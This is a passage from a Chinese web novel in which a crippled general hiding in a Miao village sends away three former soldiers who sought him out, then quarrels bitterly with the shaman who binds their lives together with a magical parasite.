向久再次捂好耳朵,把自己蜷缩成一团——既然不喜欢,究竟为什么要做那种事啊! 年仅六岁的圣子感觉自己的三观受到了巨大的冲击,以他浅薄的人生阅历,实在无法理解楼下两个的种种举动,只能选择闭上眼睛,强迫自己入睡。 好奇心终是敌不过睡意,没过多久他就进入了梦乡,并不知道那动静一直持续到后半夜才停。 苗霜早已经睡了过去,祁雁慢慢帮他擦干净身体,拭去那些罪恶的痕迹,又小心翼翼给他穿上衣服,塞进被子里。 折腾得有些热,他打开窗户吹了会儿风,享受着这段愉悦又疲惫的时光,月色打在他身上,将他喉结边的小痣映得愈发殷红。 周身的热度落下,他也有点困了,正准备躺下睡觉,却突然听到窗外传来咔嚓一声轻响,像是有谁不小心踩断了树枝。 祁雁陡然拧眉,低喝道:“谁?!” 窗外却陷入一片安静,只有风吹过树叶的声音和细微的虫鸣。 他把头探出窗外,左右张望,没看到任何人影。 这里是吊脚楼的背面,下方的山壁十分陡峭,稍有不慎就会摔下山去,的确也不像能藏人的样子。 ……错觉吗? 这个时间了,肯定不是明秋或圣子,按理说这里不该有其他人,可他明明听到了声音。 又或者不是人,是动物? 只恨他内力尽失,不然这么近的距离,他一定能听清究竟是人还是动物。 他看了一眼早已睡熟的苗霜,没再追究这件事,轻轻关上了窗。 第58章 第 58 章 我们终于找到您了,将军…… 那天晚上听到的异响没有再出现过, 祁雁也就渐渐把这事忘了,以为真是自己听错,又或者就是动物。 这日, 苗霜一早就要出门,对他说:“今天要举行款首接任的仪式, 我和圣子都要出席,不知道什么时候结束, 不用等我们回来了。” 祁雁:“是那位田长老胜出了?” 苗霜点了点头,叫上向久一起离开了吊脚楼。 两人都出去了,祁雁一个人百无聊赖,干脆自己在家里复健,这两天他尝试了一下苗霜所说的方法,虽然不能完全理解,但似乎确实有效。 他还是不能接受人和虫没有区别,但或许可以考虑和这些虫子和谐共处。 他在院子里散了会儿步,感觉有些口渴, 正要回屋喝水,就听到院外传来细微的动静, 像是有人在草丛中踩过。 这脚步声绝对不是苗霜,也不可能是向久或明秋,他一下子回想起几天前的晚上听到的异动,不由得眉心一凛:“出来!” 一瞬间的安静过后,栅栏外果然出现了人影,那人十分激动, 快步上前,竟是声音哽咽:“将军!” 祁雁一怔。 对方翻过栅栏就进了院子,扑通一声跪倒在他面前, 热泪盈眶:“我们终于找到您了,将军!” 祁雁:“……” 他错愕地看着面前的人,觉得那张脸有些眼熟,却又一时想不起他是谁,片刻才不确定道:“你是……赵戎?” “是我,是我啊!”赵戎见他还记得自己,激动地握住了他的手,涕泪横流,“您可真是让我们好找,我们在外面听到您的死讯,还以为这辈子再也见不到您了!” 祁雁也没想到居然真的是他,心跳都快了几分,他急忙把对方从地上扶起:“起来,快起来!” 赵戎点点头,望着他又哭又笑,不停地抹眼泪,那模样傻兮兮的,让祁雁终于能将他和昔日那个憨直的年轻人联系起来。 “不过你怎么会在这里?你怎么进来的?你说‘我们’……除了你,难道还有别人?”祁雁问。 赵戎抽了抽鼻子,回头看向身后。 栅栏外又冒出来两道人影,一前一后进了院子,祁雁看清他们是谁,心头震惊更甚:“姜茂?孟叔?你们怎么……” 孟永良摸了摸脸上的眼罩,笑道:“嗐,被那帮孙子射瞎了一只眼,不过早就好了,不碍事。” 断了臂的姜茂则没有吭声,只沉默地站在一边。 祁雁轻抽一口冷气,几乎形容不上自己此时的心情,赵姜孟三人都是他在雁归军的旧部,一别两年,他们的变化竟如此之大,让他差点没认出来。 他还记得那时的赵戎是个一身热血的愣头青,姜茂不爱说话,但聪明,上阵冲杀时也永远冲在最前面,孟永良则是军营里的老人,曾是他父亲的部下,论辈分,他得叫他一声叔。 祁雁张了张嘴,明明有许多话想说,可真到了嘴边,又一句也说不出口。 终于他定了定神:“先进屋吧。” 他带着三人上了楼——这些天他爬楼梯爬得越来越利索了,不过相较正常人,步伐还是十分迟缓。 “将军,您……”赵戎跟在他身后,才压下去的泪意再次上涌,眼眶又湿了,“我听说您被那狗皇帝以谋逆之罪下了大狱,废了武功断手断脚,兄弟们都气死了!您要是真想造反,会给狗皇帝抓住您的机会?!” 祁雁脚步一顿。 孟永良忙低声呵斥:“赵戎!不可胡说!” “老孟!我哪里胡说了?你难道就不恨那狗皇帝?将军为大雍出生入死这么多年,受过多少伤,流过多少血,狗皇帝一句话就能把他打成反贼!” 赵戎义愤填膺:“祁家世代忠良,你是祁老将军的部下,你能不知道吗?老将军为大雍开疆拓土,挣下过多少军功,好不容易解甲归田,可结果呢?才回家过了没几年安生日子,就被株连九族满门抄斩!还不都是因为季渊这个狗皇帝!” 孟永良深深叹气:“唉……” 祁雁背对着他们,五指慢慢攥紧成拳,背后那根时刻撑着他的脊梁此时却仿佛重逾千斤,压得他快要喘不过气来。 腿又开始疼了,不知是他今日活动得太过,还是一时分心难以驾驭那些虫子,他慢慢摸上轮椅扶手,坐了下来。 “赵戎,别说了,”姜茂忍不住开口,“现在提这些,你是想让将军更难受吗?” 赵戎一惊,才意识到自己失言,看向祁雁:“对不起,我……” 祁雁摇了摇头,忽然感觉疲惫至极,他合了合眼:“桌上有茶,赵戎,倒些给大家喝。” “……好。” 茶还是温的,三人都有些口渴,坐下来各自喝茶休息,赵戎也给祁雁倒了一杯,送到他手里。 祁雁垂眸看着杯盏里澄亮的茶汤,过了许久才重新抬起头来,沉声道:“你们不该来的,当逃兵可是重罪,万一被抓住,你们不想活了?你们的家人又要怎么办?” “我们才不是逃兵!”赵戎猛地放下手里的茶盏,杯底磕在桌上,溅了好几滴茶水出来,“我们当然知道军规,身为雁归军,要么马革裹尸,要么衣锦还乡,也不耻当逃兵!” “那你们……” 姜茂接过话茬:“去年夏天,狄历又来犯境,我们和他们打了一仗,一直把他们杀到大漠,狄人夹着尾巴逃了,按照往常,我们就该撤兵回拨,可那位金将军,偏偏让我们乘胜追击。” 赵戎:“没错!而且那几日天气一直不好,姜茂说这样的天气,很有可能会起沙暴,您知道的,将军,姜茂对天气一向敏锐,预判沙暴从没出过错。” 祁雁点了点头。 赵戎和姜茂在雁归军中一直是先锋,尤其是姜茂,探路、侦察、预判天气变化,尤其在气候多变的大漠一带,对天气的敏锐程度至关重要,稍有不慎就会马失前蹄,伤亡惨重。 他已经猜到接下来会发生什么了,果不其然,赵戎继续道:“于是我们劝金将军不要追了,可他就是不听,说现在是夏天,哪里来的沙暴,根本不信我们,还扬言要借此机会把狄人杀出狄历王庭,将漠北收归大雍!” “沙暴的确在春季频发,夏季少见,却也不是完全没有,”姜茂神色黯然,“我拼命劝他,他不但不信我,还勃然大怒,说我胆小如鼠,说久闻雁归军盛名,接触了才知道,原来都是我们这种货色。” 祁雁:“……” 虽然他早就知道金将军是个草包,却没想到竟荒谬到这种程度。 “这种话谁忍得了啊,将军!”赵戎愤愤,“雁归军将士们哪个不是视死如归,他竟骂我们胆小如鼠!弟兄们这两年本就受够了他的气,绷着一股劲想要干些大事,难免也被煽动,最后还是……唉。” 他似乎不忍再说下去,姜茂接替他说:“我们进入荒漠不久,果然遇到了沙暴,风沙太大,瞬间将我们的队伍冲散了,大家只好就近找掩体躲避,等到沙暴过去,早已经寻不到彼此了。” 祁雁自然知道在荒漠中遇到沙暴有多危险,一望无际的戈壁滩,到处是砂砾和岩石,黄沙漫天,伸手不见五指,人在这样的风沙中根本难以站稳,加上慌乱,很快就会和队友失散,一旦落了单,生还的希望就会更加渺茫。 姜茂:“后来,我们彻底在戈壁上迷失了方向,马跑不见了,司南也不慎遗落,不知埋到了哪里,我们一路搜寻其他人的下落,凭着记忆往回走,可沙暴后一切都变了,我无论如何也找不到回去的路。” 赵戎:“当时姜茂身上还有伤,本来只是胳膊被砍了一刀,回去敷些药就能好,可我们在荒漠中迷失了太久,水和干粮都耗尽了,加上天气炎热,伤口一直感染,他已经意识模糊,叫我别管他了自己走,可我哪能抛下他?” “就这样我扶着他走,他走不动了我就背着他,后来我也走不动了,一头栽在地上晕了过去……我以为我们死定了,最后是老孟救了我们,他一个人冒着生命危险进戈壁寻我们,不然的话,我们早就没命了。” 祁雁看向孟永良。 孟叔也曾担任过先锋,经验丰富,后来年纪大了才转为后勤,除了他,恐怕也没人敢只身进入戈壁寻人。 “后来老孟把我们带出了戈壁,他说一路上找到了许多尸体,一个活人也没看见,他都不抱希望了,还好没放弃,不然我们两个也得死……不过那时姜茂也半死不活了,昏迷了好多天才醒过来,命是保住了,但胳膊没保住。” “再后来老孟告诉我们,那天我们遇到沙暴以后,金将军发现情况不对,立刻叫停了后面的队伍,原路折返,他们进得不深,赶在沙暴将他们淹没之前撤了出去,基本没什么损伤,可我们这些冲在前面的,除了我和姜茂侥幸捡回一条命,其他人全军覆没!” 赵戎说着,眼眶又红了:“金将军他根本就没管我们的死活!沙暴平息以后他也没派人去寻我们,就放任我们在戈壁中自生自灭!老孟劝他派出一支队伍寻人,说先锋小队的兄弟们都有在荒漠求生的经验,如果早些去找,说不定能把人带回来。” “可是,您知道金将军说什么?他说……他说……连家门都找不回的看门狗,不配当他的兵,不配在他手下作战!” 赵戎再也忍不住,一头跪倒在祁雁面前,放声大哭起来,委屈得像是在外面被欺负了,终于能回到家向家长哭诉的孩子。 孟永良深深地叹了口气,转头看向一边。 姜茂低着头沉默不语,紧紧攥住了放在桌上的刀。 祁雁五指紧攥成拳,用力按在轮椅扶手上,许久才慢慢松开,他把茶盏放在一边,弯腰扶起跪在面前的人,轻拍他的后背:“好了,都过去了。” 赵戎抽噎着说:“将军,您不知道我们这两年都过的是什么日子!那金将军根本不把我们放在眼里,我们雁归军在塞外驻守那么多年,难道不如他一个京城来的将军有经验吗!明明是他的一意孤行害死了那么多兄弟,可他却没有一点悔意,还骂我们是狗!那些该死的狄历人打了就跑,分明就是在诱我们深入荒漠,傻子都不会上这种当,偏偏姓金的会!!” 祁雁看着他哭红的眼睛,仿佛又看到了那个初入军营的赵戎,那时赵戎也不过十几岁的少年,年轻气盛,做什么事都一根筋,吃了瘪又委屈得直哭,后来却自告奋勇当上了先锋,把军营当成了自己的家。 他心里一阵一阵地揪疼,却又不知道该说什么,这些他一手带出来的兵,自然不舍得拱手让人,更见不得他们在别人手里受委屈。 可现在的他又能如何? 他既没法飞回塞北杀了那眼高于顶的草包将军替他的士兵们报仇,也没法把那罪魁祸首的狗皇帝从龙椅上踹下来还大雍百姓安宁,他甚至连路都走不利索,更别提提枪骑马了。 他忽然觉得自己恢复得实在太慢,从他出狱至今已过去半年,居然才勉强能走。 照这样下去,他要什么时候才能彻底痊愈? 姜茂感觉到他神色不对,忙对赵戎道:“说了那么多,你不口渴吗?过来喝水吧。” “啊?哦。”赵戎抹干净脸上的眼泪,重新坐回桌边喝茶。 姜茂:“那之后我们就没再回军营,找地方躲了起来,反正在金将军眼里,我们已经是死人,老孟因为私自出来找我们,违反军规,回去了恐怕也……” “恰好那时候我刚养好伤,就听到将军您被下狱的消息,我们几个本就在生金将军的气,又听闻您被打为反贼,更是晴天霹雳,一刻也忍不了了,赶紧去京都寻您,可我们想尽办法也没能见到您,怕身份暴|露,又匆匆离开。” “那时我们已经有些绝望,见不到您,也无处可出,隐姓埋名地过了一阵,直到听说您被封为黔州观察使,我们感觉机会来了,急急忙忙地南下,结果我们到了,您却还没到。” “我们赶路赶得太急,又水土不服,我跟赵戎先后病倒,多亏了老孟照顾我们,却也因此错过了和您见面的机会,再打听您的消息,听说您已经进了苗寨,再无音信。” 祁雁微微抿唇。 这还真是阴差阳错。 “这几个月来,我们一直在附近转悠,寻找进入苗寨的机会,可这苗寨没进成,倒是发现山里除了我们,还躲了别人,此人颇为狡猾,总是潜进苗寨行窃,我们让他带我们进去,他却不肯,我们还在他藏身处发现了南照信物,怀疑他是南照奸细,我们正打算收拾他,他却再没回来,似乎是被苗民抓住了。” 祁雁有些惊讶:“你们见过贾忠?” “他叫贾忠?”姜茂摇了摇头,“我们不知道他的名字,将军可知此人现在何处?” “他已经死了。”还给他当了替死鬼,人头都送进了京都。 “那就好,此人狡诈至极,留他作祟,不知要生出什么事端。” “你们说看到他有南照信物,东西可还在?”祁雁又问。 “在,不过我们没敢带在身上,藏起来了。” “等有机会,取来给我。” “没问题。” “不过……”祁雁又想起什么,“苗寨守卫森严,对汉人尤其戒备,既然你们徘徊了几个月都没能顺利潜入,这次又是怎么进来的?” 第59章 第 59 章 将军趁我不在,约见了谁…… 赵戎牛饮完了一杯茶, 指了指姜茂:“他出的主意,我们走水路,从河里游进来的, 别说,居然真的成了, 之前我们尝试了好几次都被赶了出去,那些个苗人眼睛真贼, 不论我们怎么伪装都能发现我们。” 祁雁瞄一眼姜茂的断臂:“你们也太冒险了,还好不在汛期。” 赵戎有点不好意思地说:“我们本来想让姜茂在外面等着的,可他偏不干,就剩一条胳膊了还要潜水渡河。” 姜茂放下杯子:“还不是怕你莽撞坏事,老孟又劝不住你。” 赵戎挠头:“我……这……” “这么说,前几天那个晚上也是你们?”祁雁问。 “您居然发现我们了?”赵戎惊讶道,“我还以为我们已经足够小心了,那苗疆大巫真是深不可测,明明不会武, 可我远远地看他一眼,都浑身起鸡皮疙瘩, 他一直在您身边转悠,我们都不敢来找您,今天他好不容易出了门,我们赶紧过来了。” 祁雁思索片刻,沉声道:“你们还是早些离去吧。” 赵戎生怕被他赶走,猛地站起身来:“将军!” 祁雁微不可闻地叹了口气, 别开脸,不忍再看他:“我知道你们来找我是为了什么,可我现在的状况你们也看到了, 我实在是心有余而力不足,连自身都难保,更护不住你们。” 赵戎再次哽咽了,神色悲戚地看着他:“将军……” 祁雁:“你们待在这里,太不安全,这几日没被苗民发现是你们走运,但人不可能一直走运,苗寨款首的继任仪式很快就会结束,到时候她会搬上来,搬到山上最高的那座吊脚楼,在那里能清楚地看到这里的情况,有没有藏人一目了然,这些苗民极度排外,你们一旦被发现,他们会怎么对你们?” 赵姜孟三人面面相觑,他们才混进苗寨不久,谁也不知道还有这种说法,赵戎咽了口唾沫:“那我们……” “趁着仪式还没结束,赶紧走,再晚就来不及了,今天大部分苗民都会去围观款首继任仪式,正是你们离开的好时候。” “可将军,我们好不容易才……” 祁雁打断了他的话,站起身来:“你们等我一下。” 他上了二楼储物室,打开银箱,从里面抓了一把银子,塞进钱袋里——这些银子都是季渊赏的,原本是整块的银锭,为了方便使用,他们已将部分银锭融成了碎银。 他抓了满满一袋,交给赵戎他们:“拿着,这些钱够你们好吃好喝地生活一阵子了,随便你们去哪里,总之不要再来找我。” “将军!”赵戎满脸错愕,慌乱推拒,“我们不要银子,我们只求您重回塞北,弟兄们还在等您啊!” “够了!”祁雁终于忍无可忍,眉头压低,沉声怒道,“你们要我怎么回去?我现在已经是个死人,谋逆、欺君,这些罪名我一人背了!可你们呢?你们难道要替我隐瞒,做我的同党?我祁家已满门抄斩,我孑然一身无所顾忌,可你们难道没有亲人好友?万一事情败露,你们有没有想过你们要怎么办,你们的家人要怎么办!” 赵戎不禁语塞:“我……” “拿着这些钱,快滚,我就当你们从没来过!” “将军!”赵戎还不死心,那眼神又是绝望,又是乞求,“您难道就打算这样忍气吞声了吗?!狗皇帝对您做的那些事,您就毫无怨言吗!您难道不想为祁老将军报仇,不想为自己出口恶气?!” “你是不是疯了!”祁雁猛地推了他一把,盛怒让那双深黑的眸子透出鄙人的戾气,“赵戎,你不怕死,我却还想活!我费了这么大力气假死脱身,难道是为了再去送死吗?!” 赵戎难以置信地后退一步:“将军……” 祁雁一指门外,决然道:“走,别再来碍我的事。” 赵戎脸上难掩失望,仿佛这么多年第一次看清面前这个人,他像被兜头泼了一盆冷水,一腔热血也浇得冷透,他一步步后退,满是怨愤地抹了一把脸上的泪,转头出了房间。 祁雁用力闭眼。 紧接着赵戎又想起什么似的,重新折返回来,取下别在腰间的匕首:“这是将军送我的,我第一次上阵杀敌,砍下狄历人的脑袋,将军送了我这把匕首以示嘉奖,这么多年了,我一直带在身上。” 他将匕首强行塞进祁雁手里:“现在,物归原主。” 祁雁:“……” 赵戎归还完匕首便头也不回地走了,姜茂和孟永良神色复杂地对视一眼,冲祁雁抱拳:“将军,保重。” 三人先后离开了吊脚楼,周遭再次陷入一片安静,祁雁握着那把匕首,有些脱力地跌坐进轮椅里。 匕首沉甸甸地落在掌心,他轻轻抚摸着上面的花纹,手柄处已经磨损了,看得出它的主人经常使用它。 他自己都忘了自己什么时候送过赵戎匕首,他手底下的人太多,不可能清楚地记得每一件事。 他把匕首放在了枕下,疲惫地吐出一口气。 就这样吧。 他所图谋之事有太多变数,谁也没把握究竟能不能成,还是不要牵连更多人进来。 如果他失败了,自会和苗霜撇清关系,苗霜身为大巫,也有能力自保,只要他回到苗疆,没人能拿他怎么样。 但赵戎他们不同,他们在他手下做事,一定身先士卒,更何况他们的身份,一旦事情败露,季渊很有可能会借此机会向整支雁归军发难,以季渊的性子,会把他们全杀了也不一定。 八万人,皆是祁家训练多年的精兵,这八万人要是没了,北部边防亏空,后果简直不堪设想。 他不指望季渊那昏君能明白这一点,他只能做最坏的打算。 祁雁闭上眼睛将身体后仰,靠在轮椅背上,只觉身心俱疲,赵戎他们的到来完全搅乱了他的思绪,那位金将军的荒唐程度更超乎他想象,赵戎所在的先锋小队几乎全灭,这样大的损失,金将军竟不放在眼里。 他不敢去想这两年中雁归军被他霍霍成了什么样子,放任这样的将领驻守北境,大雍的边防简直危如累卵。 几十年来雁归军让狄历人闻风丧胆,他们轻易不敢大动干戈,可他们越是畏惧,越是渴望,一旦发现新上任的将领是个没脑子的草包,一定迫不及待狠咬一口。 之前的诱敌深入之际金将军上了当,狄历恐怕已经发现了,现在只怕在积粮屯兵,只待一个时机降临,就和大雍开战。 留给他的时间还剩多少? 祁雁不敢再细想,他深处消息闭塞的偏远苗寨,距离塞北几乎跨越整个大雍版图,消息传到他这里不知道要多久,而赵戎他们离开塞北也已经是去年的事,这半年中又发生了什么,谁也不知道。 他现在只希望他们能撑得更久一点。 祁雁艰难把心从广袤的塞外草原上收回,让它落回肚子里,落回眼下。 不知不觉间时候已经不早了,苗霜应该快回来了,这件事……要跟他说吗? 说了却也没什么意义,赵戎他们现在大概已经摸出了苗寨,人都走了,何必再提他们来过。 更何况是在款首继任这么个关键的时候,苗霜想必也忙,还是不要再横生枝节。 祁雁环顾四周。 白蛇没留在他身边,应该是和苗霜一起行动了。 那天晚上苗霜睡得熟,大概率也没发现有人来过,不然他早该说了。 要是主动跟他提起,又免不了被一番盘问,他实在是没力气再应付苗霜了,他现在只感觉浑身都疼,经脉寸断的痛楚时不时骚扰他,明明没有强行调动内力,只是心情郁结气血不畅就会引发。 他慢慢收拾好屋里被动过的东西,又坐了一会儿,听到外面传来的脚步声,是圣子的,一蹦一跳,想必很是高兴。 祁雁收拾好了情绪,一抬头,果然看到苗霜也在,他开口道:“夫人回来了,今天的仪式可还顺利?” “自然顺利,有我在,他们再有话说也不敢有话说。”苗霜道。 向久在旁边附和:“自从上次‘神灵降罪’,那些讨厌的家伙看到阿那就腿软呢,当然不敢有话说!” 苗霜揉了揉他的脑袋:“好了,自己玩去,今天就给你放假,功课不用做了。” “好耶!”向久欢天喜地地跑掉了,“阿那吃饭叫我!” 苗霜摇了摇头,看向祁雁。 祁雁和他对视了一会儿:“怎么?” “寨子里的人没话说,将军难道也没话说?”苗霜笑吟吟道。 祁雁没明白:“我有什么话说?苗寨的事,还轮不到我来过问吧?” “你明明知道我指的不是这个,”苗霜漫不经心地在屋子里踱起步来,视线扫过枕头,又看向桌上,“这屋里有陌生人的气味呢,将军趁我不在,约见了谁?” 祁雁一僵。 他身体骤然紧绷,万万没想到苗霜竟敏锐到这种程度,赵戎他们都已经离开那么久了,屋子里的痕迹他也清理过,能留下什么气味? 他硬着头皮道:“一些无关紧要的人,我已经打发他们走了,夫人就不要追究了吧。” “无关紧要?”苗霜歪了歪头,笑着看他,“这么说来,将军也不关心他们的死活,那我就随意处置喽?” 祁雁猛地抬头:“你说什么?!” “没什么,不过是三只不长眼的野兽,误入了我设在山中的幻术陷阱,我的虫子恰好缺些饲料,就拿他们喂吧。” 苗霜说着就往外走,祁雁神色陡然一凛,他下意识摸出了藏在枕下的匕首,箭步上前抵住了对方的脖子:“别动他们!” 第60章 第 60 章 你我同生共死,谁也别想…… 冰冷的金属紧抵苗霜颈间, 只需再用力一些,锋利的刀刃就会割开他的皮肤。 他神色未变,只轻轻摸上对方握刀的手腕:“将军口中的‘无关紧要’, 就是这般拿刀指着我?” 祁雁一顿。 他今天心绪本来就乱,听到苗霜说要杀了赵戎他们, 更是有些慌了,身体的反应更快过脑子, 此刻才意识到自己的行为未免太过恩将仇报,急忙收回了刀。 “抱歉,这件事我可以解释,”他心跳很快,语速也很快,“他们是我以前的部下,不是无关紧要,他们好不容易才死里逃生,千里迢迢南下找我, 你别动他们,放他们一命, 算我求你,好吗?” 苗霜本来情绪没什么波动,直到听见那个“求”字,眼神骤然一冷,他回过身来,一把推开了对方, 阴沉道:“他们算什么东西,也配让你求我?不过是几个旧日的部下,我便是杀了, 你又能如何?” “……苗霜!”祁雁没想到他竟如此不讲道理,又或者是他始终如一,只是自己忘记了他的本性,“他们什么都没做,究竟哪里惹到你了!” “既然什么都没做,你又为何要替他们求情,要替他们隐瞒他们来过的事实?”苗霜抬头看着他,猩红的眼眸直勾勾地和他对视,“在你眼里,我和所有的苗民都没有区别,我们极度排外,看见汉人就视为仇敌,即便他们什么都没做,也要除之而后快,是吗?” 祁雁下意识别开脸,回避了他的视线:“我……不是……” “不是?那你究竟是什么?!”苗霜一把揪住了他的衣襟,心底窜起一股无名怒火,“还是说在你看来,几个随随便便的部下都比我重要,路边的阿猫阿狗也比我重要,你可以为了他们纡尊降贵向我求情?!” 祁雁理解不了他的脑回路,更不明白他为什么要说这种话,冷峻的眉头紧紧拧起:“你在说些什么!” “既然这样,那你不如就动手吧,动手杀了我,”笑意又浮上苗霜的面容,却未及眼底,他握住对方的手,将那把匕首再次贴在自己颈间,“动手啊,怎么不动手?反正你腿也好了,我对你来说已经没有用处,杀了我一了百了,这世上就没人能牵制你了,你再也不用担心我会操控你身体里的蛊虫控制你折磨你,这不是你一直想要的吗?” 他扣着祁雁的手一直往自己脖子上按,祁雁只能拼命把刀往回夺,一来二去的争抢间刀刃剧烈抖动,还是在苗霜白皙的皮肤上制造出一丝血痕。 看到那道伤口,祁雁终于怒了,他猛地发力强行抽回了刀,一连后退数步:“你是不是疯了!” “我现在冷静得很,”苗霜再次朝他逼近,“你不杀我,我就杀了你的部下,我和他们你必须选一个——” 祁雁面色一凛,就要开口,却听他不慌不忙地补上后半句:“你是不是以为我会这么说?你错了,我才不会这么便宜你,我早就告诉过你,别想从我身边逃走,你拿起那把匕首的同时,已经中了我的蛊,‘同心蛊’,很好听的名字吧?” 祁雁眼中闪过一抹愕然,急忙低头去看自己的手掌,果然看到掌心有个细小的伤口,细长的蛊虫犹如一条红线,已经深深钻进他的皮肤,融进他的掌纹里。 他刚刚情绪激动,注意力全在苗霜身上,竟没发现自己被咬了。 “不过我更喜欢它另外一个名字,‘生死蛊’,这蛊分为雌雄双蛊,另一半在我身上,”苗霜冲他摊开手掌,掌心有一道同样的红线,“从今以后你我命数相连,同生共死,谁也别想独活。” 祁雁:“?!” 苗霜唇边笑意扩大:“我不介意你杀了我,不过,你得陪我一起死,还有你那几个废物部下,一个都别想活。” 祁雁嘴唇颤动:“你……” 他已经气得说不出话来,周身经脉因为气血逆行而泛起剧烈的疼痛,他眼前一阵阵发黑,苍白的嘴唇上没有一点血色。 有那么一瞬间他真的动了想要和他同归于尽的念头,他真是受够了这家伙的喜怒无常,对他好的时候百般好,可一旦什么时候不高兴了,又有千百种方法折磨他,更要命的是他根本不知道自己哪句话会趟到他的雷区。 剧痛让他额头冒出了冷汗,身体微微弓下去,不得不撑住了桌子才能稳住身形,他咬紧牙关去忍那阵疼,几乎将牙龈咬出了血。 苗霜轻轻挑起他的下巴,强迫他看向自己:“我早跟你说过,这山上的一切都逃不过我的眼睛,你竟还想替你的部下隐瞒,你究竟是忘了,还是根本没放在心上?你以为如果不是我睁一只眼闭一只眼,他们真能进得来苗寨?” 他指尖擦过对方苍白的唇瓣,温声道:“这生死蛊,是对你不信任的惩罚,和同床异梦的人生死与共,滋味如何?” 祁雁已经疼得有点看不清他的脸,只感觉那字字句句是如此刺耳,以至于让他的唇边也浮现出讽刺的弧度:“不信任……我早就把性命都交到了你手上,你究竟还要我怎么信任你?” 他低低地笑了起来,眼中却悲愤得近乎绝望:“你说要和我共谋大事,我信了,你说你能带我逃出京城,成则远走高飞,败则同归于尽,我答应了,你孤注一掷,我陪你。” “你给我治伤,我信你,哪怕你把我治废了治死了我也让你治,你把我从头到脚都换成你的虫子我也让你治!你要找替死鬼骗季渊我也听你的!我信你能做到,信你能骗过季渊身边所有人的眼睛,哪怕他是皇帝!我把我所有的一切都赌在了你身上,你究竟还想要我怎样?!” 苗霜脸上的笑容淡了下来:“那他们呢?” “他们?他们又如何?”祁雁绝望地看着他,身体疼得仿佛要被撕碎,可所有的痛楚加起来竟不敌心底一毫,“我只是不想让你为难,你要隐瞒我一个人的存在已是不易,如果我让他们留下,难道要让你帮忙再隐藏他们三个的行踪?我有什么资格让你做这些?” 他缓了口气:“更何况他们是汉人,万一被人发现了会怎么样?你忘了你刚回苗寨时发生过什么?你的族人围着你,质问你为什么要和汉人成亲,为什么把仇人带回家里来,你好不容易才震慑住那些苗民,你认为这份震慑再经得起任何冲击吗?赵戎他们是我的部下,虽然血洗苗寨的事情他们没有参与,可你觉得你的族人会听吗?他们只会认为你又在包庇仇敌——那么大巫你究竟要如何自处?” 苗霜微微张嘴,却没有说话。 祁雁一口气说了这么多,脑子有些缺氧,眼前暗得已经看不清东西,他用力闭了闭眼睛:“苗寨的安稳来之不易,款首继任的仪式刚刚结束,我不想因为我再引发任何动荡,我承认,没主动向你坦白是我的错,我只是觉得他们走都走了,没必要再提,拿刀指着你也是我不对,我一时心急没能控制住自己,我真的没想伤你。” 他扔下了那把匕首,身形已经摇摇欲坠:“可你……真的至于为了这种事怀疑我吗?究竟是我不信任你,还是你觉得我向你隐瞒是在图谋对你不利的事?又或者你真的认为,他们在我心目中比你更重要?” 苗霜不再接话,扭头便走。 “你又何尝真正信任过我!”祁雁突然抬高音量,他死死盯着对方的背影,脖子上的青筋都凸了出来。 苗霜脚步一停。 “苗寨的事你从不让我过问,我理解,我一个汉人不该插手你们苗人的事,可我只是想帮你收拾几个助纣为虐的仇人,你竟也说不用我插手,你是觉得我是个废人,帮不了你,还是觉得我没这个资格,除了在床上讨好你,根本不配做别的事?” 苗霜诧异回头。 “你在胡说八道什么?”他道,“我若不信你能成事,何必帮你?” “你信的真的是我吗?”祁雁的嗓音近乎哽咽,“你对我所做的一切,恨也好,爱也好,信任也好,怀疑也好,都不过是因为——” “够了!”苗霜冷冷地打断了他,“给你下生死蛊,就是我对你最大的信任。” 说罢,头也不回地离开了房间。 祁雁扶着桌沿,慢慢跌坐进椅中。 他低头看着掌心的红线,忽然轻笑出声。 的确,这怎么不算是一种信任,他杀了苗霜自己会死,可他若杀了自己,苗霜也会跟他共赴黄泉。 怎么不算是把性命交到他手上? 他强行咽下了滚到喉间的腥甜,笑声越来越大,越来越猖狂,笑得肩膀都耸动起来,他伸手想去捂自己的嘴,却不知为何捂住了眼,一片潮湿沾上他的手掌,烫到了掌心的蛊虫。 蛊虫在他的掌纹间游走,他抬起脸来,脸上泪痕未干,唇边笑意凄然。 蛊虫绑定的是他祁雁,和苗霜同生共死的是他祁雁,而不是泊雁仙尊! 这一次,是他赢了。 60-70 第61章 第 61 章 夫人只有一个。 苗霜沉着脸色离开了吊脚楼。 他一脚踹翻了井边的水桶, 巨大的声响吓得躲在一边玩虫子的向久“哇”地一声站起身来,双手抱头:“阿那我没干坏事!” 苗霜瞪他一眼,转身往另一个方向去了。 他气不打一处来, 手里的骨刃狠狠插进了树干。 姓祁的有什么脸面要求他信任他? 他是失心疯了,会去信任一个一剑捅死他的仇人?信任他什么?信任他杀他时一定毫不留情? 就是他脚边这株草, 他手边这棵树都比他有价值,他踹了树一脚, 泊雁仙尊恐怕还要问问树疼不疼。 去他娘的苍生道,在他面前高高在上的仙尊,却为了几个无名小卒低声下气地恳求他。 狗日的东西! “阿……阿那,”向久小心翼翼地凑了上来,轻轻拽了拽他的袖子,“别生气了,你和祁将军为什么要吵架啊?吵得那么凶。” 苗霜拂开他的手:“不关圣子的事,一边玩去。” “哦……”向久有点委屈地退到一边,却还不死心, 又道,“阿那要是生气, 我帮你教训他,我给他下毒!今天的毒还没下呢!” 苗霜:“……” 他叹口气:“自己去玩,听到没有?这种事小孩子少掺和,不然你就是那条被殃及的池鱼。” 向久缩了缩脖子,不敢再说话,只好回去继续玩虫子。 还是虫子好懂, 打架就是打架,交尾就是交尾,不会今天交尾明天又打架。 ……不过, 他以前观察过螳螂交尾,发现有时候其中一方会选择吃掉另一方,甚至交尾还没结束,伴侣的脑袋已经没了,身体还连着。 噫。 向久瞬间觉得虫子也不好玩了,撇下手里的小棍子,跑开去玩别的。 苗霜深吸一口气,仰头望着渐渐暗下来的天。 被圣子一番打岔,他的气也消了不少,不知道为什么,他突然觉得和祁雁吵架很没意思。 既然注定要分道扬镳,又何必管他死活,他爱干什么就干什么好了,几个千里迢迢南下寻来的旧部,既然祁雁自己都把他们打发走了,他又何必要替他留他们? 如果不是他的幻阵,那几个家伙应该已经从后山渡水摸走了,他只需当做什么都没发生。 说到底,他竟还想帮他。 可祁雁偏偏又不领他的情。 他究竟为什么要去帮一个杀过他的仇人,有时候他自己也搞不清楚自己在想什么,也许祁雁说得对,他的确是疯了,不然怎么会对仇敌一而再再而三地心软。 苗霜自嘲地笑了下,用力拔回自己的骨刃,靠着树干坐了下来。 